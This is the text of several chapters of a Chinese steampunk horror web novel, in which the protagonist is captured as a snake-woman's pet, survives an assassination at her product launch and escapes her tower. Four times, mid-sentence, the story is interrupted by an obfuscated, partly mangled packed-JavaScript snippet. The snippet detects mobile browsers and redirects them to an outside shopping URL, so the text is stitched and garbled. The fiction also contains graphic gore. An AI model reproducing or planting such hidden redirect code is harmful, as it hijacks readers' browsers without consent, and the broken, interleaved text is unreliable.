机关落下,必定会有异变。路远寒浑身都绷紧了,将把柄缓慢拉到底部,那股阻力竟然让他手背浮出一根又一根青筋。 直到机关触底的瞬间,猛烈的震颤声顿时席卷了整条走廊。从废弃的管道内奔腾起一条条雪白的蛟龙,盘旋在天花板上,蒸汽翻涌的鸣叫传遍了基地内外,那些沉重的机器又重新运转起来,而这座钢铁巨兽终于露出了它的獠牙。 那座重兵器炮台也活了过来。 路远寒从嗡嗡的耳鸣中缓过神来,察觉到正被毫无生气的“眼睛”注视着,他闪身一避,躲过了从金属炮口下射出的枪弹,火星迸射,随着他绕行而在地上烧出一片焦黑的痕迹。 情势危急,那张紧密的火力网覆盖着一切他能到达的区域,势要清除这个擅闯重地的异端分子。 路远寒猛然跃起,伸出的手臂对准炮台上方,一发子弹飞旋而出,打破顶上的蒸汽管道,溢出的高温气体顿时烫坏了控制中枢,庞大的兵器抽搐了片刻,便彻底化为了一堆废铁。 在满地火花中,那扇合金大门应声而开,为他打开了最下层通道。 路远寒避开四处乱窜的气流,顺着楼梯走了下去。这片区域呈现出椭圆形的结构,两层漆黑管道下悬浮着一个实质球体,正是整座实验基地中最重要的存在。那颗核心表面镶满了碧蓝色的矿石,看上去就像某种巨型生物的心脏,供血瓣膜上覆盖着闪光鳞片。 它身上插满了无数触手般的管道,一条又一条不断往四周输送着蒸汽,为上千台机器的运转提供着动力。 而在它的脚下,还散落着七八颗金属制的小球。路远寒捡起一颗,感觉里面压缩着什么东西,下意识将它填在蒸汽枪的凹槽上,刚好精准无误地嵌了进去,看来正是他需要的能源。 路远寒没有想到,他拉下机关,竟然唤醒了一颗庞大的机械心脏。 对于那隆隆震响的巨物,他并没有靠得太近,保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222553|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一个适当的距离,观察着核心表面上蜿蜒的矿脉。那些石晶散发着幽蓝的光泽,边缘处隐隐发黑,似乎有细长的影子在其中游动。在机械心脏不远处,架设着数十座熔炉,炉柱高耸,煅烧出的石水顺着管道而下,流通数个加工台,被萃取成一滴滴荧光液,储藏进张开大口的玻璃罐里。 与培养实验体的玻璃罐不同,这些罐壁上贴着高能燃料的标识,路远寒再次了解到它的另一个用途。 事情的发展已经清晰了。 路远寒推断,在最早的时候,缉察队围着矿脉建了座实验基地,从这些矿石里提取的物质,被加工厂凝炼成具有病变性的燃料。由于不知道哪间实验室的泄漏,让坑洞里的水域也发生了畸变,污染延续数十年,无人处理,进而让无数植物走兽也长出了骇人的血肉。 只是不知道修兰村的异状,与这座基地有没有更深层的关系…… 在情报方面,他已经搜查得够彻底了。但是氧气罐和潜水装备还没有找到,路远寒只得继续寻找,正想着要从哪里开始下手,忽然看到角落里窜出一只怪物,从模样上看,似乎正是那只救了他的水猴子。 它不知道碰了什么东西,满手满身都浮现出黑色脓疮,密密麻麻地蠕动着,而那些诡异的隆块还在飞速扩散,像瘟疫一样将这具温热的躯体吞噬。 携带着疫病的怪物还在朝这边跑来,再多几步就要触碰到他的身体。路远寒却毫不犹豫,一边退后一边扣下蒸汽枪的扳机,高温凝聚成的气柱迸射而出,瞬间就将那身畸变的皮毛融化成了一地血水。 开完一枪,他顿时将枪身扔了出去,等待着枪管自动冷却。 虽然蒸汽枪最外层套着隔热材料,但路远寒仍然不放心,毕竟里面的气体要是泄漏出一星半点,他这只手掌也就荡然无存了。 趁此机会,他打量着那道不断产出荧光液的流水线,在煅造炉表面雕刻着一行火光浮动的小字:瘟疫石专用。看来这就是那条矿脉上石晶的学名了,能够带来瘟疫的石头落在缉察队手上,最终促成了无数惨案的发生。 遗憾的是,这层中枢控制室内并没有潜水装备。 路远寒捡了几颗蒸汽枪的动力源,走上楼梯,正准备把机械心脏的能源停了,忽然一阵剧烈的撞击声从外面响起,金属制的墙壁竟瞬间弯曲,钢板破裂,无数潮水涌进走廊,怪物那硕大的眼睛从他面前游过。 不过短短数秒,灌进实验室的荧光水就盖过了路远寒头顶,将他裹挟着拍在墙上。 他只觉得眼前发黑,浑身酸痛,似乎有多处肋骨都震断了,鼻腔溢出的血水融成一片鲜红,又被他的触须吞噬。 那庞大的身躯游得远了,带起的涡流却狂啸着将周围的一切都席卷进暴风眼。路远寒被洪水猛然抛出基地,肢体旋转着流向下方,重重触到湖水底部,随即被一圈光幕吸了进去。 湖水消失了,而他也从光幕中摔在地上,怔然望着眼前所见的一切。 38. 宠物 出现在他眼前的,赫然是一座地下城。 黑区已经是在地表下了,没想到竟有更深更靠近地心的一片区域,建立起了由地底人控制的城市。 那道光幕位于绝壁上,路远寒从洞窟走出,打量着这座神秘城市:遍地铺设着铁轨与蒸汽管道,无人驾驶的车辆由体型硕大的老鼠驱动,穿行其中,高处则连接着上万条线路缆车,如同一颗颗胶囊被运输到城市各处。整片建筑群簇拥着最中央的一座黑塔,塔身高数千米,被切割成数个窄小方格,而在黑塔四面,都有一条直达上层的升降梯,载着里面的人前往高处。 这座超前的科技之城让路远寒震撼了片刻,他退回去触碰光幕,发现它是个单向通道,不能从内侧打开,只得放弃了这条路。 好在他脚下的洞窟有人工修整的痕迹,在洞口观察片刻,路远寒就找到了通往下方的路。只是那条小径由一个个镶嵌进石壁的凹槽组成,极其险峻,等他到了地面,已经被满身冷汗浸透。 他还没来得及拧一把湿漉漉的衣服,紧急响起的警报声就包围了这片区域。 “警戒!警戒!一级警戒——” 数十个手持武器的怪物朝着路远寒爬来,它们容貌恐怖,脑袋与上身虽然与常人无异,下面却是幽幽的蛇尾,通过那庞大健硕的尾巴在地面上快速拖行。 随着蛇人们持枪靠近,路远寒不禁产生了一个怪异的想法:要是这座地下城由无数蛇人统治,怪物们在这里生老病死,结婚生子,而他才是最不合群的那一个,那到底谁才算是畸变物呢? 不知道为什么,这些警察并没有第一时间开枪,只是围着他陷进了僵持状态,像是在等待着上级的命令。 路远寒猛然前冲,凭借弹跳力跃上了一个蛇人头顶,踩着它脑袋翻身而出,随着枪身摩擦的声响,背后那些枪口似乎对准了他,只是没有一颗子弹射出,怪物们试图捕获路远寒,却被他轻盈地躲过。 他朝着旁边极力奔跑,在视线变黑的那一刻,忽然停了下来。 数颗悬浮在空中的庞大球状物正笼罩在上方,如同一只只眼睛注视着无处可逃的他。路远寒僵住了,那些像是悬空艇的造物缓慢挪动着,从内部抛下无数柔韧的网,构成捕网的细线接触到他的身体,就自动缠紧,近乎把他裹成了一具木乃伊,将擅闯者吊在空中,像开了自动巡航似的朝城内驶去。 路远寒尝试了几次,发现捕网使用的材料极为特殊,根本无法徒手撕开,便省了体力不再挣扎,观察着越来越近的地下城。 被吊起来也有一定的好处,高空视野开阔,能清楚看到这座城市的区域划分。 辖区共划分了四层,每一层间都有明显的界线,最外围看上去像是贫民窟,遍地是强盗小偷和病死的尸体,越往内走,建筑越高,警戒程度越重。那些玻璃高楼上多数都贴着一个显眼的标识,悬空艇上同样也有,似乎是某个家族的名称——瓦伦提亚。 路远寒能看懂,自是因为地下城的语言文字承袭自黑区,看来这群蛇人虽然盘踞在比他们更深的地底,却也和黑区上千年的历史有着联系。 他没有看得太久,很快,捕获他的悬空艇就降落在了某座高楼顶部,这栋楼装修的华贵程度,让路远寒觉得脚下的砖都镶着金边。随着网线散开,在旁边等候着的黑西装们一拥而上,先是给他注射了镇静剂,又卷着身体将他带进了往下方去的通道。朦朦胧胧的意识中,路远寒被带去洗了个澡,换了套修身的衣服,那些蛇人甚至在他发尾夹了几个蝴蝶结,帮他卷了头发。 这让路远寒不知道自己究竟被当成了什么,俘虏、怪物,还是需要上台致辞的演员? 直到他脖颈戴上一条牵引绳,被带到某位尊贵的蛇人面前,他才恍然意识到:原来我是一只宠物。 药物的效果逐渐消散了,路远寒不再反应迟钝,他打量着这个面无表情的蛇人。它,或者说她,长得很漂亮,从发尾到指尖都流露出一种雍容的气度,黑色蕾丝将她腰身轮廓修饰得极美,瘦得病态,那条尾巴却比旁人更长、颜色更翠绿,庞大得似乎一瞬就能杀人无数。 “您想让我怎样呢,美丽的小姐?” 他拨开蝴蝶结,态度谦恭地微微俯身,隔着手套轻吻了对方的指节。 路远寒抬起头时,留意到了她颈上那枚徽章的铭文案,同样是瓦伦提亚,不过前面还多了个名字:菲奥娜·瓦伦提亚。看来整座高楼都是她的所有物,而他的管理权,当然也属于这位财阀千金。 对于他的行为,瓦伦提亚大小姐并不反感,反倒饶有兴趣地将手上的绳索松了一圈,微笑着说:“七号,你可比另一个宠物有趣多了。” 七号?路远寒顿时有了想法。如果编号是按顺序排下来的话,难道前面还有六位像他一样的宠物,伊凡会在那些宠物中吗? 他的猜测很快就有了答案。 随着菲奥娜拿起一支摇铃,懒洋洋晃了几下,旁边的门应声而开,管家们随身携带枪支,簇拥着一排被精心打扮过的宠物送到了她面前。伊凡就站在那些怪物中,而他旁边则是数个畸变物种,它们或有兽耳绒尾,或长着第三只眼,甚至还有个被装进盒子里的脑袋,总之与蛇人的构造截然不同。 与路远寒的漆黑服装不同,伊凡的配饰都是以白色系为主,手套、腰带、耳环、十字架吊坠……他看上去像个默默祷告的圣父。 和路远寒视线相对的一瞬间,伊凡怔住了,随即克制住了想要开口的欲望。他也知道以现在这副德行,并不适合跟队友解释什么,而他们身上的武器都被收缴了,没有能威胁到菲奥娜的手段。她随便一勾尾巴,就能将在场所有人压得血肉模糊。 “好了,先生们。”菲奥娜拍了拍手,慢条斯理地拿出一枚印章,“奖励时间到了……谁想要一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235480|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个首肯?” 她的语气很微妙,含了一点笑意,似乎有着蛊惑人心的能力。随着话音落下,刚还安静守己的宠物们,竟然互相厮杀起来,用最原始的方式撕开身边人的面颊、脖颈和腹腔,为了一个轻飘飘的首肯,竭力争得头破血流。 “七号,你很幸运。” 菲奥娜微微叹息。 伊凡的眼睛和雪白的正装都杀红了,而她的手仍然没有沾上一点血迹,很是随意地摆弄着印章:“能看到这些前辈们为你示范应该怎样活下去。你要认真学习,知道吗?” 路远寒什么都没有说,只是静静地站在她身旁,黑发垂下,让菲奥娜看得赏心悦目。 片刻后,厮杀结束了。 整面墙都被泼上了血雨,遍地散落着被扯下的眼睛、带着毛发的皮肤,盒子里脑浆迸飞,只剩了四分之一个人头,而伊凡浑身颤抖着,单膝跪在了菲奥娜面前。 菲奥娜低下头,无法辨别她的神情是高兴还是不高兴。她转动了一个旋钮,随即从天花板降下无数流水的管道,将消毒液喷洒在那些尸体上,瞬间就清洗了地面,让大厅重新变得整洁而明亮。 她抬起手,在伊凡侧颊盖下了一枚鲜红的印章。 像是担心路远寒只有一张脸,看不明白这场厮杀的真相,菲奥娜还特意转过头,嘱咐了他几句:“没办法得到首肯的,就是坏东西,坏了的宠物当然要拿去处理。它们的资源不会浪费,十九层有我的花园,新鲜血肉就是最好的肥料。” 说到这里,她随手拈起一枝修剪过的蔷薇,将那朵盛开的花插在了路远寒耳边。 菲奥娜一招手,就有管家带着伊凡去换了衣服。刚才的厮杀过后,宠物只剩了路远寒与伊凡,他们两个跟在菲奥娜身边,一左一右,因呼吸而震颤的颈上被绳索套着,挽在那双漂亮的手上。 这座大厅背后也有升降梯,菲奥娜牵着两人走进去,无需她手动控制,厢身便往下方落去。在等待升降梯落地的过程中,竟然还从窗口递进来一条消息纸条,菲奥娜看完内容,垂下眼睛对着旁边的话筒口说: “博斯曼家族想竞标监管机的制作权?反了他们了,再加注三千万金铢。” 路远寒和伊凡并没有交换眼神,因为升降梯前后都有玻璃壁,将他们脸上的神情照得清楚无遗,即使轻轻抖一下眉毛,也会被菲奥娜察觉到。 片刻后,终于到了菲奥娜要前往的楼层。 这层楼似乎正在举办活动,到处可见端着餐盘的侍应生,每一个都容貌出众,而在宴会厅中,有许多衣冠华美的蛇人贵族在攀谈,看到整座楼的主人到来,纷纷摆动尾巴,凑到她面前献殷勤:“瓦伦提亚小姐,您又换新宠物了。” 菲奥娜颔首,扯紧了两人的牵引绳,让他们能被其余蛇人轮流观赏到:“是的……毕竟宠物的使用期限太短了,换了一个功能型,一个观赏型。” 39. 意外 路远寒眉心微微一跳。 从菲奥娜的话来看,所谓功能型,指的应该是在厮杀中赢过其他宠物的伊凡,至于另一个观赏型……那些碍事的蝴蝶结还勾缠在他发尾,不曾被拿下,是谁也就不言而喻了。 蛇人多盘尾,而他与伊凡又身量高挑,因此两人被菲奥娜手中的绳子用力牵着,就连脖颈都隐隐涨红,才能让那些眼睛将他们的长相看得清楚。 路远寒能感觉到那些冷血的视线正在他脸上逡巡,从垂下的眼睛打量到他的鼻尖、唇珠,像是把他们这些宠物,当成了某种可以被衡量价值的商品。他听到一声又一声赞叹,对于菲奥娜的眼光,对于他柔顺的黑发,当然,最重要的还是对于瓦伦提亚家族垄断的一条资金链。 他面无表情地跟在菲奥娜身后,没有施予别的蛇人多余一眼。 很快,路远寒到了宴会厅内部,远远就看见一张巨大的展台铺设在地上,台前摆着垂下天鹅绒的长桌,而那桌上竟然是一个又一个少女的断头。每颗头颅都保养得极为漂亮,她们皮肤白皙,眼睛脉脉还在含情地看人,年龄不过十四五岁,而脑袋上豁然开了条口,天灵盖往上不翼而飞,在掏空脑髓的内部,盛着香气四溢的美酒,照出蛇人们从旁边游过时的影子,那颜色红得发黑,就如融化的血水。 这些人头酒杯共有十四盏,盏盏都比上一杯更香,更让人想要品尝。 餐桌上配备了相应用具,菲奥娜拿起汤匙,舀了一勺酒水送到嘴边,又微微皱眉,走到下一个美丽的脑袋面前,将每杯酒里的内容都尝了个遍。直到舌尖被浸得通红,她才满意地笑了一下,越是年轻的少女,酿出的酒越醇正。 “七号,你过来。” 在伊凡悚然的注视下,路远寒弯腰凑到她身边,被菲奥娜喂了一勺荡漾着血色的酒水。 他喉咙滑动几下,就将主人的赏赐顺从地咽了下去,那些温热的酒水流进他的胃里,太甜了,让路远寒觉得有些发腻。 但他仍然露出了一个微笑,这张脸本是冷峻的,看上去不近人情的,被黑发修饰得仿佛雕像,因这一笑而显得鲜活了起来,他眼睛里的蓝光忽闪几下,在飞旋吊灯的照耀下似有海水激荡。 不说菲奥娜,就连伊凡也怔了片刻。毕竟这个队员性情阴冷,除了在修兰村必要的掩饰,他很少见到路远寒朝别人微笑。 这一举动取悦了菲奥娜,她面上神情变得柔和,伸手揉弄着路远寒头上的发丝,就像在爱抚宠物,将牵引绳也松了几圈。路远寒游刃有余地饰演着宠物,将菲奥娜哄得高兴了,连带着伊凡也得到了一个能够坐下的位置。 片刻后,发布会终于要开始了。 路远寒思考着,他从蛇人们的谈话中得知,这场规模隆重的发布会由瓦伦提亚财团一手包揽,之所以不遗余力,豪掷千万金铢,就是为了让他们旗下最新研发的产品——监管机面世。虽然一会上场的只是模型,但也同样有着极强的杀伤性和威力。 他在想要是逃跑的话,在那台监管机下能活得了多久……一分钟,还是几十秒? 随着黑西装们有条不紊地引导宾客们落座,布置会场,侍应生如流水一般端上提前准备的观望镜,礼乐慷慷激昂,回荡在这座宴会厅,所谓的监管机终于出现在了展台上。 比起机器,它看上去有着类人的外型,然而终归是一台战斗兵器。 那金属铸成的身体极具压迫感,两条钢铁之手垂在腰侧,胸甲上装载着追踪用的热感仪,背后焊接了数座旋转炮台,每一个黝黑的洞口内都填满了弹药,似乎随时会用炮火洗地,看得在座所有人毛骨悚然。 除了震撼,还有不少蛇人面色难看:“瓦伦提亚小姐……这真的只是一台模型机吗?” “当然,瓦伦提亚背后的力量足以与科学院那些疯子们抗衡,执法权将不再被天之塔垄断。”菲奥娜笑道,伸出一根手指对着监管机,“这是一个新时代的起点,第二区以外都将成为我们的领地。而那些连老鼠都不如的下等人,需要缴纳足够的呼吸费,才能生存下去。” 路远寒权衡着她口中说的话,与其他畸变物相比,地底的蛇人与人类有太多相似之处,同样有高度智慧,有着森严的等级制度,也就形成了这种资本力量雄厚的局面。 呼吸费……何其荒谬的费用。 他听得一阵深思,面上却没有显露出任何异样。菲奥娜提到的名词很多,所谓天之塔,路远寒大概能猜到指的是那座千丈高的黑塔,但科学院是哪方人马,他就不得而知了。 对于统治者而言,一只宠物就算能听懂人话,也不重要,更不可能会威胁到他们的蛇身安全,因此没有人注意到路远寒的反应。 他攥紧了指节,身体内的触手正渴望着撕碎那些傲慢的尾巴,但是还欠缺一个时机。 就在这时,意外发生了。 一个端着餐盘的侍应生匆匆朝展台这边游来,然而餐盖打开,里面盛着的并不是菲奥娜安排的点心,而是一把早就上膛的机枪,枪声响起,雨幕般的弹壳激射而来,顺道划破了两条牵引绳,路远寒反应极快,当即蹲下往旁边一滚,躲过了这场刺杀。 在变故陡生的刹那,保镖队就出动了。黑西装们从宴会厅周围赶来,却不能在一瞬间赶到现场,情势危急,菲奥娜庞大的蛇尾荡起,挡下了数枚子弹。 金属撞击鳞片的声音不绝于耳,但她尾巴上还是被打出了不少流血的窟窿。 “去死吧!你们这些财阀狗!” 那个侍应生早已做好了慷慨赴死的准备,持着还在震响的机枪就冲了过来。路远寒正藏身在餐桌背后,那些漂亮的人头滚了一地,刚好有颗脑袋落在他怀里,用笑吟吟的眼神望着他。 路远寒也看了它一眼。 他将人头放在地上,随即轻飘飘掠出,掌心力道狠重地劈在侍应生肩膀上,顺着他的胳膊就夺走了那把枪。路远寒反手用枪托砸在侍应生腹部,顿时砸得那蛇人吐了一口血水。 “哦?原来你是功能型啊。” 菲奥娜显得有些惊讶。 显然,财阀大人已经从刚才的事中回过神来,启动了展台上的新型杀器。随着齿轮轰隆隆的震响,监管机猛然落在地上,两臂延伸出无数高速旋转的链条,朝着侍应生腰后劈下,瞬间就将他尾巴绞杀得血肉模糊,然而他却没有死,一双眼睛还在怨毒地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255125|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪着菲奥娜。 他嘴巴里还在汩汩冒血:“财阀不死…怎能……” 侍应生的这句话没能说完。菲奥娜拿起一把机械弓弩,面带恼怒地搭箭射杀,锋利的箭矢穿透他咽喉下浮现出的鳞片,尚还温热的尸身痉挛着猛颤了几下,终于死了。 路远寒想,看来那片逆鳞,就是蛇人最脆弱的地方了。 他刚才帮菲奥娜控制局面,并不是对这两方有任何一点偏颇,只是这座楼毕竟是瓦伦提亚家族的大厦,路远寒还不想与监管机作对,更不想被保镖队带下去处置等死。 那把溅血的枪在他手上,顿时吸引了无数目光。 菲奥娜的脸色终于变了。 她似乎想说点什么,只是话还没出口,剧烈的轰鸣就席卷了整座大厅。侍应生死了,那具尸体就躺在地上,谁都没想到还有一场恐怖袭击,高空投掷的追踪弹撞碎玻璃,火光冲天,爆炸的余波将在场所有人都掀飞了出去。 惨叫声、怒骂声交错着此起彼伏,那些权贵们死的死逃的逃,十个保镖队也忙不过来,整座宴会厅简直乱成了一锅粥。 路远寒从地上爬起来,眼前发黑地眩晕了片刻,才意识到自己头上流血了。他伸手捂住额头,看到满手殷红,竟然毫不在意地将血迹一擦,反手将旁边的伊凡拉了起来。 此刻菲奥娜忙着应付炮火袭击,正是逃跑的最佳时机。 作为同事,无需路远寒多说,伊凡也知道该怎样配合他行动。两人趁乱上了升降梯,他们一踏进熟悉的包厢,那层感应式的地面瞬间有所触动,载着两只逃亡的宠物直达顶层,又回到了一开始的大厅。 路远寒问:“前辈,你还记得武器和封印匣在哪里吗?” 他问这一句的时候颇为谨慎,毕竟伊凡曾经说过,那枚黑环要是离开他身边,会发生极为恐怖的事情。闻言,伊凡掀起衣服,露出底下血淋淋的真相,路远寒目光不由得一顿:他竟然将匣子缝在了自己腰侧,而那些针脚还在不断渗出黑水。 伊凡平静地放下衣摆,指了个方向:“东西应该在菲奥娜的收藏室,只不过没有钥匙,我们得想办法从清洁工手里拿到备用的那一份。” 清洁工?路远寒面色古怪。 想到那些一按就能流下消毒水的管道,他不由问道:“既然这座大楼的科技已经这么发达了,菲奥娜还用得着清洁工吗?” “宠物的尸体可以清理进下水道,但她的收藏品可不一样,每隔两小时就会有专人进去擦洗、整理,以保持藏品最完美的状态。当然,没有人敢偷瓦伦提亚财团的东西,除非想被悬空艇追杀到天涯海角……谁能想到外面炮火连天,都打成那样了,还有两个不怕死的贼准备闯收藏室呢?” 伊凡冷笑了一声,提前到这里的几个小时,他对财阀手段已经深有了解。 而在此时,看管大厅的保镖也持着枪围了上来,两人被重重枪口对准。枪林弹雨之中,路远寒纵跃而起,猛然将一梭子弹扫射出去,最前面的蛇人被筛得血肉横飞,伊凡则快速打开匣子,将属于他的黑环重新戴在了手上。 在众目睽睽之下,正在巡航的悬空艇朝着顶楼撞了过来。 40. 逃亡 悬空艇何其庞大,撞在顶层的玻璃上,瞬间压垮了半层楼,比下面宴会厅闹出的动静还要激烈。钢化玻璃裂成无数碎屑飞射而出,每一道锋利的残片都杀人无数,血溅高台,将保镖们穿成了肉做的塑像,身上的黑西装也被鲜血浸透。 伊凡站在原地,那些迸溅的玻璃好似有着活性,在空中倏然扭曲,飞旋着避开了他,竟没有一片触碰到他的身体。 路远寒一看他拿出眷顾,知道这些人必定要惨死当场,还没等悬空艇撞上大楼,就已经踩着蛇人们的肩膀躲远了。 此刻,他正紧靠着墙,手上的机枪弹匣耗尽,顺着垂下的手臂砸在地上,发出沉闷的响声。 路远寒没有回头,听到伊凡那边窸窸窣窣的动静,又问了一句:“前辈,你这次解了封印,还能镇压眷顾的力量吗?” 他身边所有的事物都变得诡异了起来: 天花板上的管道嗡嗡震响,蒸汽四处流窜,玻璃吊灯也闪着极其危险的光,随时会砸下来一样。某个保镖身上的燃烧物滚落在地,被路远寒一脚扫飞,轰然炸开,在已经撞毁的大厅掀起如同置身火海的热浪。 路远寒想,看来就算离伊凡三十米远,也没办法摆脱厄运的影响。 忽然,那些怪象停下了。 顶层狂风呼啸,尸体铺了遍地,就如刚杀过人的屠宰场。路远寒视线落在一块较为完整的碎片上,通过玻璃的折射,看到了伊凡血肉模糊的腹部和一只手,他似乎又将黑环塞进了封印匣中。 随着伊凡一步步走来,路远寒观察片刻,判断出眷顾的影响确实不见了,才松下一口气,从保镖们身上搜刮了不少枪支弹药。 他们动作极快,毕竟谁也不知道菲奥娜什么时候会上顶层,从大厅出门左转数十米,就到了放置杂物的工具室。那名清洁工手上没有武器,毫无还手之力,在路远寒的逼问下双手颤抖着交出了钥匙。 对于这个蛇人,伊凡并没有下死手。 虽然在厮杀时毫不留情,却并不意味着他是一个冷血的人。在蛇人统治的城邦,面前的清洁工也不过是一个普通公民,甚至很有可能因为这件事丢掉工作,被瓦伦提亚财团解雇。 但他自身都还在逃亡,更管不了一个畸变物的死活。伊凡瞥了眼蛇人还颤动着的瞳孔,漠然转身,将他反锁在门内,便按照记忆中的路线,带着路远寒往收藏室赶去。 不过片刻,他们就到了那间神秘的收藏室。 随着两人推门走入,收藏室的顶灯应声而开,鎏金的灯光倾泻在地面上,将他们脚下的血迹都照得荡漾着金边,仿佛走进了一座闪耀的灯罩。进门处铺着地毯,看上去是从某种动物身上完整地剥下一张毛皮,才能剪裁得如此雪白而美丽。再往深处走,中间的展桌上摆着琉璃矿玉、水浸人头、背负机械旋翼的小鸟……各种千奇百怪的藏品陈列于此,甚至还有一根金属横杆,专用于悬挂倒吊下来的蛇尾。不知道菲奥娜杀过多少同族,才能收集到各种颜色,每一条尾巴上的鳞片都熠熠生辉,像是翠蓝的花瓣盛开。 路远寒站在满屋金光中,辨认了好一会,才发现他们的物品在角落里堆放着。 两人拿走武器,清点数量,整顿了一下身上的装备,便匆匆离开了收藏室。好在菲奥娜没有研究过手杖具有的力量,否则不可能将一件异物随便扔在这里,任由物归原主。 考虑到接下来还要一路逃亡,路远寒认为他们必须想办法赚取金铢,才好在地下城行事。 只是收藏室里的东西都太贵重,极容易被认出来路,禀报到瓦伦提亚财团那里,他也就没有打那些藏品的主意,暂时压下了想法。 两人急速奔跑在走廊上,除了脚步声,路远寒还听到了一阵逐渐靠近的震响,随即面色骤变——那是升降梯要到顶层了。他一手攀着楼梯翻身而下,伊凡紧随其后,路远寒破门而入,发现十九层确如菲奥娜所说,是她的花园。 他环顾了一眼四周,这层楼遍是盛开的花朵,从玻璃顶垂下的藤萝覆盖着多数区域,地形又错综复杂,有数条通往各处的小径,正适合他们藏身。 路远寒压低身体,放轻脚步,就像一道幽影潜伏在花团锦簇的围墙之间。他前进了几步,旋即感觉到背上轻飘飘泛起一阵痒意,仿佛有人正抚摸着他的脊椎,那阴鸷的寒意顿时让路远寒汗毛直立。 他猛然回头,却什么也没有看到。 伊凡在他身边潜行着,看路远寒反应异常,停下来问他发生什么事了。 “没什么。”路远寒垂下眼睛,悄然握紧了手上的锯肉刀,“可能是我的错觉……” 虽然这样说着,他却并不觉得自己的直觉会出错。察觉到那东西再一次靠近的瞬间,路远寒拧身出刀,锯肉刀劈下一截含苞待放的枝叶,而那断了的花枝还在蠕动着,呼吸着,渗血般的汁液倾洒在地,湿漉漉拖行出殷红的痕迹。 路远寒面色凝重,望着缠绕在花墙上的无数枝叶,它们像是在朝面前的两人微笑,叶片摩擦发出窸窸窣窣的响动,露出缝隙里翕张着的庞然大口,顺着叶脉淌下一滴滴黑红的血水。 此刻,他们已经被畸变的花墙包围。 伊凡迅速拔刀出鞘,太刀所到之处,拦路的枝叶纷纷截断。他砍得再快,却还是有无数盘曲勾缠在一起的藤条朝着两人抽来,它们嬉笑着,惨叫着,如黑色的潮水席卷而来,将整片区域都笼罩在庞大的阴影之下。 蓦然,一朵花苞在路远寒面前盛开。 花瓣下赫然是一颗通红的眼球,黏膜上的血丝随着它看到眼前人而迅速涨大,笑吟吟地追了上来。 路远寒反应极快,当即往后退去,锯肉刀毫不留情地挥出,却被眼睛底下的枝条灵活避开。他转身狂奔,和伊凡一起顺着幽幽小径往花草稀少处逃跑。 那些枝条在背后狂啸着,似乎马上就要碰到他的脖颈,这一场追逐战激烈地进行了片刻,而两人也被逼到了花园的角落。 “砰!” 随着一声枪响,吊灯玻璃碎开,盛着的灯油泼洒而出,火焰纷飞,将漫天枝叶炙烤得蜷缩发黑,瞬间逃离了这片热浪激荡的火海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278451|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 路远寒收起枪,认真辨别着从远处传来的声音,忽然面色一变。他听到猎犬狂叫着,似乎在搜寻他们两人的踪迹,看来菲奥娜已经处理好大楼外的袭击,派人来抓捕从她手下叛逃的宠物了。 伊凡神情严峻,似乎在斟酌什么:“事情糟糕了,这边火势冲天,就算没有猎犬,保镖队也会赶过来的。” 情势危急,但路远寒并不想让伊凡使用眷顾,他快走几步,透过玻璃望着下面吊着无数缆车的索道,随即握紧手杖,毫不犹豫地打破了这堵围墙,抓着伊凡的胳膊从高楼坠下。 这一跳惊心动魄,只是路远寒刚才看过了,大厦这侧也有升降梯,两人精准无误地落在了包厢表面,踩着升降梯顶部疾驰而下。 霎时间,缆绳断裂,金属摩擦的火花飞溅,他放慢呼吸,在即将坠毁的一瞬间纵身跃出,安稳落地,而他背后传来轰然巨响,那座升降梯已经报废。 “你真是个疯子……” 伊凡终于将他的心里话说了出来。 被路远寒拉着从十九层一跃而下,他浑身都被汗水浸透了,心跳还没有从急骤的刺激中缓过来,再看罪魁祸首一脸平静,伊凡想将危险分子的称号让给他这位队友。 现实情况却不容他们停下一分半秒,刚从瓦伦提亚大厦逃离,悬空艇已经出动,极具压迫感地笼罩在上空,同时从一楼大厅冲出无数保镖,两人见势不妙,急匆匆跑上大街,险些被一辆飞驰的鼠车撞到。 “走路不长眼,找死啊!” 